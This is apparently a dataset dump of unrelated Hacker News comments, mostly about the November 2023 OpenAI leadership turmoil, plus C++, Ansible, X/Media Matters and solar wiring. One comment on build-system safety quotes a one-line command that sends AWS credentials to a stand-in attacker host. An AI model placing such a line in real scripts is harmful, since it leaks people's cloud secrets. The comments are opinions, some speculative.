skysight-inc/HackerNews huggingface dataset:
Yeah kind of like how we as US ask developing countries to reduce carbon emissions.
Sure, but there must be dozens of credible AI chip startups in various parts of their lifecycle started in the last decade. If the goal really was, as originally proposed, to solve the chip bottleneck for OpenAI you'd be better of backing one of those. And if literally all of these startups are on the wrong path and OpenAI beliefs a different kind of design philosophy would work better, I'm sure most if not all of those startups would be delighted to know about it, and quickly change their plans.

Starting from scratch would make sense if Altman personally were some kind of chip design savant with unique insight to the problem domain, and he definitely isn't that. Alternatively it makes sense if had nothing to do with saving OpenAI from the compute bottleneck, and was another one of Altman's Worldcoin-like grifter schemes.
When Michael Lewis wrote the book about Wall Street, 'Liar's Poker' , he got calls from parents of college-bound kids, not about how to avoid Wall Street, but about how to better prepare for getting in to Wall Street...
Does this mean they're willing to replace Ilya Sutskever with Altman? Because it sounds like Sutskever doesn't want Altman as CEO, so I assume he will leave willingly or unwillingly if they take back Altman. Who adds most value to OpenAI?
pyserde: A Serde-inspired Python serialization library on top of dataclasses
> Free AGI

Who pays for the R&D?
Well, if there's one thing I've learned, is that a venture capitalist proposing biometric world crypto coins does probably have quite a bit of charisma to keep people opening doors for them.

Frankly I've heard of worse loyalties, really. If I was sam's friend I'd definitely be better off in any world he had a hand in defining.
Sorry but that is ridiculous. The wording of the PR blurb is not what makes gears move in a giant like Microsoft.

I agree the board did botch this up. But this is in my view is a vindication of their being amateurs at corporate political games, that is all.

But this also means that Sam Altman’s “vision” and Microsoft’s bottom line are fully aligned, and that is not a reassuring thought. Microsoft one hears (see “5 foot pole”) even puts ads in their freaking OS.

This board should man up, and lawyer up.
OT: A moment of silence for the poor HN server, which is probably going to be hammered more in this 48h period than any time in the last year+
Media Matters has a solid defence as they have records to support their assertion that X-itter broke a cardinal rule of ad-placement.

There are many, most famously, avoid placing "Dial Before You Dig" ads in the obituary pages.

https://www.byda.com.au/

Placating advertisers is hard, but that's a facet of the business that Musk entered into by way of a bad stoner joking|not joking tweet.
https://news.ycombinator.com/item?id=38325611

So MS shows who's in control.
Say goodbye to OpenAI.

From know on it's all for MS's profit only.
Try contacting your city about it. Here they will come around within a few weeks and do as you suggested if you complain.
> suddenly people are accused of not even knowing themselves

It's not some desperate retort. People don't know themselves very well. Look at the research into confabulation, it seems to be standard operating procedure for human brains.
Often, leaders provide excellent strategic planning even if they are not completely well versed with the business domain, by way of outlining high level plans, communicating well, building a good team culture, and so on.

However, trying to distinguish the exact manners in which the leader does so is difficult[1], and therefore the tendency is to look at the results and leave someone there if the results are good enough.

[1] If you disagree with this statement, and you can easily identify what makes a good leader, you could make a literal fortune by writing books and coaching CEOs on how to not get fired within a few years.
Again, the dangerous part is the intensity, the amps. Look at your panel in the link, it's at more than 9 amps. If you put them in parallel, you will keep the low voltage, but quickly rise the amps, if you have 5 panels in parallel you are at 45 amps!! That can cause the fires, not the voltage.

You want to tie them in series first, to increase the voltage and keep the amps as low as possible. 110V or 220V are not dangerous voltages, that's why houses are wired at these higher volts. People all over the world handle cables carrying 220V with very few issues. If you wired the house at 12V-48V, some wire in the wall would catch on fire every-time you wanted to toast a slice of bread, lol.
People love celebrating CEOs.
Act III, more paper clips
> As a programmer, your mental theory of the code base has value to its owners, but it's not the product

If you lost all of the code today, with the right understanding you could build it again relatively quickly. If you lost all that understanding, say all the developers quit, the program will no longer be adapted to customer needs potentially for years until that understanding is rebuilt.

I agree that "product" is probably not the right word, probably "asset" fits better. Losing that knowledge is like losing a manufacturing plant for your product. The plant isn't the product but it's a key asset for producing the product.
Just for the sake of clarity, what do you mean by linting/delinting here?
Sorry, no. There is no nuance around this. It should 100% be an error by default.

It’s undefined behavior and there are justifiable reasons for being so. Requiring otherwise implies that implementations must exhaustively check every code path in a function. Such an analysis is extremely expensive, and even practically impossible for sufficiently complicated code, it also would need to work across translation units, e.g. akin to whole program optimization. Not to mention cases like linking against a binary library in which the compiler has nothing to analyze at all, or when a functionally impossible non-return path is found but the compiler can not prove to itself that it’s unreachable.

Ultimately there are situations in which non-void functions do not have a return value. Moreover, it is certain that a non-trivial amount of code is relying on such behavior. Therefore is unreasonable to make implementations non-conformant and it’s impossible to decide what a reasonable behavior should be otherwise, hence the behavior being undefined.

As an intermediate step they can at least specify the sized of types that are de facto fixed.

Why hurt non-standard platforms and encourage the use of poorly named integer types? Anyone who cares about this is already using fixed width types.

Sigh. Well it's good that I don't have to deal with this attitude in Rust at least!

Oh, and Rust doesn’t recommend using linting or code formatting tools like clippy or rustfmt?

By all means, use Rust if it’s an option for your needs. C++ is a very old language with all sorts of compromises.
Chances are he's just saying that as negociating leverage with OpenAI, so as perhaps getting his job back.
So which content producers are you going to tell it’s illegal to distribute their own content on their own website?
I care about the gpt store, it directly addresses a huge swathe of business cases.

Lots of people were launching things that were basically gpt(3/4) + some rag + managing state and a prompt.

Openai made it so that someone who can just describe the problem can create a solid version of that. Without managing hosting or keys or anything.
This is certainly making a case for the fallibility of human leadership.
To be fair: a sizable proportion of humans are like that.
I don't know if you've considered it, but I would really value Starlark over "general purpose" python because my grave complaint about unlimited computation things for build systems (gradle, sbt :eyes:), or in this case a config management tool, is that they become real hard to reason about from one developer's machine to another, and/or make the hairs stand up for paranoid folks who really would prefer there not be a $(curl -d @$HOME/.aws/credentials evil.example) hiding in a random build script

It also prevents newbies from mistakenly doing os.chdir when they really wanted fs.cd() as in your example playbook
Well that’s a bit mischaracterization of the Manhattan Project, and the views of everyone involved now isn’t it?

Write a thought. You’re not clever enough for a drive by gotcha
My, this will age well.
https://en.wikipedia.org/wiki/Jill_Stein

Stein received 1.5 million votes in the 2016 US Presidential election as the Green Party candidate, and she's running again for the Green Party nomination in 2024.
I tend to agree but one difference is that inflation isn’t directly imposed on all goods at the same time. Businesses need to decide to change the price. Currency with a devaluation mechanism makes everything “more expensive” at the same time. This means that while there is general upward pressure on all goods, not all things change price at the same time. I’m not sure which is better, but it’s a difference.
"5. It has deep implications for the trajectory of a technology that many see as heralding a revolution at least as significant as - if not more than - agriculture or industry, with truly existential implications for humanity."

This use of "many" refers to HN voters not people in general.
Even they have grown up in a world where Frankenstein's Monster is the predominant cultural narrative for AI. most movies books shows games etc all say ai will turn on you (even though a reading of Marry Shelly's opus will tell you the creator was the monster not the creature that isnt the narrative in the publics collective subconscious believes it is). I personalmy prefer Asimov's veiw of ai in that its a tool and we dont make tools to hurt us they will be aligned with us because they designed such that their motivation will be to serve us.
This time.. with shares.
How? The board appoint new members and resign. The new board votes to turn it into a C corp.
> how is it that people paid for a place to live 1,000 years ago, and now there’s been all this technological productivity gains (several billion-fold?), and yet people still spend 30%+ of their productive output on a place to live?

Been thinking the same recently, but those specific numbers are a mix of wrong and misleading.

For wrong: productivity per person has only gone up by a factor of about 50x-100x, not billions.

For misleading: the homes were terrible back then. A thousand years ago (Beowulf-era Old English), a "hall" was simply a large room enclosed by a roof and walls. In Anglo-Saxon England (the latter end of which was still 1000 years ago), simple single-room buildings, with a lone hearth in the middle of the floor for both cooking and warmth, were the usual homes of a lord of the manor and his retainers, with the entire community eating and sleeping in that single room. Even just keeping those places warm in winter was a major effort. (I've seen a few of these at different stages of development at https://www.wealddown.co.uk, which just happened to be close to where I grew up as a kid; you may recognise some of the pictures from the first season of Good Omens).

The fancy castles and complex manor homes we like to think of from Ye Olde Tymes weren't normal homes for individuals any more than the White House is today, and almost all the buildings that survive were (in addition to being lucky) important enough to be built upon over the thousand years between then and now.
A PR blurb? What? I mean Satya himself, behind the scenes.
OpenAI Investors Trying to Get Sam Altman Back as CEO
How the thing can be called "AGI" if it has no concept of truth? Is it like "60% accuracy is not an AGI, but 65% is"? The argument can be made that 90% accuracy is worse than 60% (people will become more confident to trust the results blindly).
> The private sector lottery winners seem to be awarded kingdoms at an alarming rate.

Proven success is a pretty decent signal for competence. And while there is a lot of good fortune that goes into anyone's success, there are a lot of people who fail, given just as much good fortune as those who excelled. It's not just a random lottery where competence plays no role at all. So, who better to reward kingdoms to?
If the reports are true, and Ilya led the coup, then either him or Sam can be at OpenAI going forward but not both. The rest of the board members who sided with him are gone either way.

Regardless of who ends up at the helm, OpenAI is going to be a different place on Monday than it was on Thursday, and not for the better.
it's hilarious how much people for no reason, want to defend the honor of Sam Altman and co. i mean ffs, the guy is not your friend and will definitely backstab you if he gets the opportunity.

i'm surprised anyone can take this "oh woe is me i totally was excited about the future of humanity" crap seriously. these are SV investors here, morally equivalent to the people on Wall Street that a lot here would probably hold in contempt, but because they wore cargo shorts or something, everyone thinks that Sam is their friend and that just if the poor naysayers would understand that Sam is totally cool and uses lowercase in his messages just like mee!!!!

they don't give a shit that your product was "made with <3" or whatever

they don't give a shit about you.

they don't give a shit about your startup's customers.

they only give a shit about how many dollars they make from your product.

boo hooing over Sam getting fired is really pathetic, and I'd expect better from the Hacker News crowd (and more generally the rationalist crowd, which a lot of AI people tend to overlap with).
Toyota is turning to startup Redwood Materials for critical battery materials
So...should we sell our MSFT stock when the market opens on Monday, or in after-hours trading now?
> 2) Internally a memo from the COO circulates saying that is not true

Got a link? I did miss this nuance.
There's not many Einsteins of anything besides Einstein himself. That doesn't change the fact that he is widely considered in the field to be a top expert and has shown that he can lead the development of a wildly successful product.

If this does end up being a failed coup, then it is of course detrimental to his career. But the statement I'm replying to was explicitly saying he would never work in tech again. Do you honestly believe there is any chance that Sutskever would be unable to work in this field somewhere else if he ultimately leaves OpenAI for whatever reason? I would bet $10,000 that he would have big name companies knocking on his door within days.
I think that his beliefs are important to the company. A board shouldn't be a homogenous glob nor should it be like a middle school friend group. What he did was both bizarre and amateur, but I believe in the best of us all the come forward from these types of events.
Looking at their CVs, they're more qualified than some rando on the internet. So from my point of view, they look more qualified than you, DebtDeflation, rando from the internet.
"allowable minimums of up to 20 stories in the nearest ring"?

Does that mean at least 20 stories of the building won't be permitted?

Or does it mean that buildings up to and including 20 stories can't be rejected with "too dense" as the reason given to the permit-requester?
Because people can see the flicker. It becomes apparent with object moving quickly across your visual field (including waving your hand left-right). It creates big issues with photography and video recording.
The architect of the coup (Ilya) is strongly opposed to open-sourcing OpenAI's models due to safety concerns. This will not - and would not - be any different without Sam. The decision to close the models was made over 2 years before the release of ChatGPT and long before anyone really suspected this would be an insanely valuable company, so I do believe that safety actually was the initial reason for this change.

I'm not sure what you mean by your second paragraph.
Ilya is the only one worth keeping around if Sam returns mercifully.
I'd bet that people who leave a wireless mouse plugged in all the time are a very tiny minority of mouse users. Most people want to use their wireless mouse wirelessly.

For that vast majority the only consequence of the Magic Mouse port being on the bottom is that if they forget to charge their mouse for weeks and it dies in the middle of the day with the Magic Mouse they have to stop using the mouse for two minutes to get through the rest of the day whereas with the other mouse they would not lose those two minutes of mouse time.
They decide how to bias it. They decide if they should pull the plug or not. They decide if it’s too powerful and they’re in contact with people who suggest to the government that we should bomb datacenters if so
“Media Matters created an alternate X account and deliberately followed sensitive accounts to curate posts and get advertising to appear on the account’s timeline to then misinform advertisers about the placement of their posts. These contrived experiences could be created on any social media platform.”

“A spokesperson for X, Joe Benarroch”

I’m inclined to believe this. How the hell else would nazi content show up in someone’s feed without they first engaging with that sort of content?

I once used Twitter to look at profiles of criminal factions in Rio, naturally, my feed instantly began showing branded content alongside crime. Certainly the engineers at Twitter could look into the matter to mitigate the issue, preventing ads to show up when the feed has unlawful posts alongside it. But how would they do that without surveillance upon users? Seems unfair to attack Musk and the company in that context. It’s a problem inherent to the user-side of the equation, trying to control it would only ensue more problems.

I was totally indifferent towards this Media Matters thing, now I think they’re full of shit. Guess that will backfire for them.
Exactly. I think it would actually be very exciting if OpenAI uses this moment to pivot back to the "Open"/non-profit mission, and Altman and Brockman concurrently start something new and try to build the Apple/Amazon of AI.
With ads and popups that want my email address, I can at least understand why someone would do it. There is a benefit to the site owner.

With this nonsense "someone in Timbuktu just connected" nobody benefits. It's just 100% annoying and dumb.
So you are saying that producers should not be able to distribute their own content? Are you saying that no one should be able to produce their own video and sell it themselves?

So I can distribute my own video on my own website. So what if I get together with a group of college friends and we decide to sell our movies on a website we jointly own, should that be illegal?

If I am a news organization and do a show of re-enactments of true crime like CNN Headline News and sell it as a subscription, should that be illegal too?

And why just video producers? Should song writers also not be allowed to distribute those own content? Writers? Software developers?

Wouldn’t it be considered a violation of free speech if I wasn’t allowed to produce a video and distribute it myself?

Are you saying if I create a video on my phone I shouldn’t be allowed to sell it on my own website? I’m a producer and a distributor.

And now studios can own movie theaters…

https://www.dallasobserver.com/arts/studios-can-now-own-movi...
When you say that none of the popular CMs can guarantee determinism, are you meaning things like package drift as the OS upstream updates packages and that sort of thing?

It's a little early to be recommending I don't embark on creating this; you have an idea in your head which the phrase "bag of state" isn't adequate to convey into my head.

The CMs are largely about conveying a state into a system, though there are obviously some places where the state is "leaky" such as if I say "the system will have neovim" and it's leaky because today I may get neovim v0.9.X but tomorrow I may get v0.10.Y?

Or are you meaning something like "my laptop install that I've been using for 3 years has a state that is very different from a clean install, so running this playbook on two systems and requesting "nvim" may produce v0.9.x on one, but alpha v0.11.Z on another because I've added a PPA to it"?

I'm honestly just trying to understand what issue you are bringing up, and I appreciate the discussion.

For some context: I've been using Ansible for ~7 years now, my combined "main.yml" files total just over 19K lines, nearly my entire Linux infrastructure comes up from a base OS install and an Ansible run, ~200 machines, and I respin half my dev+stg infrastructure every night to make sure I'm running against my latest playbooks.
What type of thing? This applies to anything. We need to pay close attention to maintaining rules to foster research and innovation.
Fuck safety. We should sprint toward proving AI can kill us before battery life improves, so we can figure out how we’re going to mitigate it when the asshats get hold of it. Kidding, not kidding.
Some reporting indicates that there was no malfeasance on Sam’s part. There would be no reason to terminate Sam under these circumstances except as a pure power play.
Mind providing more details about the hardware in your setup, cameras etc?
Whether or not Sam returns, serious damage has already been done, even if everyone also returns. MANY links of trust have been broken.

Even larger, this shows that the "leaders" of all this technology and money really are just making it up as they go along. Certainly supports the conclusion that, beyond meeting a somewhat high bar of education & experience, the primary reason they are in their chairs is luck and political gamesmanship. Many others meet the same high bar and could fill their roles, likely better, if the opportunity were given to them.

Sortition on corporate leadership may not be a bad thing.

That said, consistent hands at the wheel is also good, and this kind of unnecessary chaos does no one any good.
Sam and Greg were on the board.

This was two board members who were also employed at the company fighting over resources and approach.
Sure, but there's no research to be done without money for compute and salaries for researchers, which is the entire reason the for-profit company was spun out underneath the non-profit — they needed money. And who would give OpenAI money right now, given that the board ousted the popular CEO in a coup without consulting or even notifying investors?
It's specifically fast spinning objects that get me: I was spending a lot of time staring at a 3400rpm grinder wheel with a fine repeating pattern on it.

If I'm just sitting typing on my laptop, even the 120hz ones don't bother me.
Quora dataset is worth a hell of a lot. That said, I completely agree with you. He should be ousted.
Why I’d installation prices correlate with efficiency?
It’s very hard to have too strong of an opinion here without knowing more about the actual conversations happening behind closed doors… on outside looking in this seems like a lot of drama and whatever the outcome- it looks super bad for OpenAI… if anything it’ll have the effect of a lot of us shopping for alternatives maybe that was the intention?
and for good reasons!
Unless you have an electron microscope, work at Intel, or manage to find a hardware exploit, you are not getting the private key out of that chip, which, short of breaking the underlying cryptography, is the only way you're getting at that data.

Except, of course, if you put malware in the next build of your mobile app, and grab it before it's encrypted. Which Signal easily could, and it probably wouldn't be spotted for weeks. Fundamentally, it's all about trusting other people.
Idk about trial, but the full version has no issue with patching, try these instructions and see if it works: https://twitter.com/thorstenball/status/1629396583983853764
Ask HN: Thoughts on WSL?
I've been using Windows Subsystem for Linux for a week, I'm just getting warmed up to it.

any pointers/tips on using it day to day? features? limitations?